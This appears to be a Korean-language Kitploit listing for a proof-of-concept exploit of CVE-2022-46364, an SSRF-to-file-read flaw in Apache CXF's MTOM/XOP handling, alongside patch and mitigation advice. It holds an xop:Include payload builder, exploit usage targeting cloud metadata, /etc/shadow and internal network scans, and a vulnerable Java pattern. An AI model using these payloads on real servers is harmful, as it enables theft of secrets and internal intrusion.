CVE-2022-46364-Proof-of-the-concept — 이 취약점을 통해 공격자는 MTOM/XOP 요청을 수락하는 Apache CXF 웹 서비스에 SSRF(서버 측 요청 위조) 공격을 수행할 수 있습니다. 문제는 xop:Include의 href 속성이 구문 분석되는 방식에 존재하며, 서버가 임의의 URL을 요청할 수 있게 합니다. | Kitploit

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <myData>
            <xop:Include href="cid:[email protected]" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </myData>
    </soap:Body>
</soap:Envelope>

// CXF < 3.5.5의 취약한 코드를 단순화한 표현
public DataHandler getAttachmentObject(String href) {
    URL url = new URL(href);  // 프로토콜 검증 없음!
    return new DataHandler(url.openStream());
}

usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]

CVE-2022-46364 Apache CXF SSRF to LFI Exploit - 교육 목적으로만 사용

options:
  -h, --help            이 도움말 메시지를 표시하고 종료
  -t TARGET, --target TARGET
                        대상 기본 URL (예: http://192.168.1.100:8080)
  -e ENDPOINT, --endpoint ENDPOINT
                        웹 서비스 엔드포인트 경로 (기본값: /services/Service)
  -u URL, --url URL     SSRF를 위한 외부 URL (예: http://169.254.169.254/latest/meta-data/)
  -f FILE, --file FILE  LFI를 위한 로컬 파일 경로 (예: /etc/passwd, C:\\Windows\\win.ini)
  -s SCAN, --scan SCAN  CIDR 표기법의 내부 네트워크 범위 스캔 (예: 192.168.1.0/24)

인수	설명	예시
`-t, --target`	필수. 대상 Apache CXF 서비스의 기본 URL	`http://10.10.10.50:8080`
`-e, --endpoint`	선택 사항. SOAP 엔드포인트 경로	`/services/UserManagement`
`-u, --url`	SSRF를 통해 가져올 HTTP/HTTPS URL	`http://169.254.169.254/latest/user-data`
`-f, --file`	LFI를 통해 읽을 로컬 파일 경로	`/etc/shadow`, `C:\ProgramData\secret.txt`


---

### 핵심 구현 세부 정보

#### 1. MTOM 페이로드 구성
```python
def create_mtom_payload(uri):
    """xop:Include가 포함된 multipart/related MTOM 메시지 생성"""
    soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <vulnerableParam>
            <xop:Include href="{uri}" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </vulnerableParam>
    </soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
    return soap_part

<!-- Maven 프로젝트의 경우 -->
<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-rt-frontend-jaxws</artifactId>
    <version>3.5.5</version> <!-- 또는 레거시의 경우 3.4.10 -->
</dependency>

MTOM을 완전히 비활성화(필요하지 않은 경우):

<jaxws:endpoint ...>
    <jaxws:properties>
        <entry key="mtom-enabled" value="false"/>
    </jaxws:properties>
</jaxws:endpoint>

네트워크 수준 제어:
- CXF 애플리케이션 서버에서 나가는 연결 제한
- 방화벽을 사용하여 애플리케이션 계층에서 내부 IP 범위에 대한 접근 차단
- 이그레스 필터링 구현
웹 애플리케이션 방화벽(WAF) 규칙:
- href가 file:// 또는 내부 IP 주소를 가리키는 xop:Include가 포함된 요청 차단

이 소프트웨어는 "있는 그대로" 제공되며, 상품성, 특정 목적에의 적합성 및 비침해에 대한 보증을 포함하여
명시적이든 묵시적이든 어떠한 종류의 보증도 제공되지 않습니다. 어떠한 경우에도 저자 또는 저작권 보유자는
계약, 불법 행위 또는 기타 행위로 인해 발생하는 모든 청구, 손해 또는 기타 책임에 대해 책임을 지지 않습니다.
이는 소프트웨어의 사용 또는 기타 거래와 관련하여 발생하는 모든 것입니다.

CVE ID	CVE-2022-46364
GHSA ID	GHSA-x3x3-qwjq-8gj4
취약점 유형	서버 측 요청 위조(SSRF) → 로컬 파일 포함(LFI)
영향받는 소프트웨어	Apache CXF < 3.5.5, Apache CXF < 3.4.10
심각도	Critical
CVSS 점수	9.8 (Critical)
공격 벡터	네트워크
인증 필요	없음
패치 버전	Apache CXF 3.5.5+, 3.4.10+

CVE-2022-46364-Proof-of-the-concept

인기

🔬 취약점 세부 정보

핵심 문제

중요성

영향받는 구성

🧠 기술 심층 분석

프로토콜 배경: MTOM과 XOP

취약한 코드 경로

코드 조각(취약한 패턴)

LFI가 작동하는 이유

네트워크 스캔 기능

🛠️ 익스플로잇 사용법

명령 구문

인수 설명

📦 설치 및 요구 사항

사전 요구 사항

설치 단계

🛡️ 완화

공식 수정

대체 방법 (패치가 불가능한 경우)

📚 참고 자료 및 크레딧

원본 연구자

공식 권고

관련 자료

감사의 말

📄 라이선스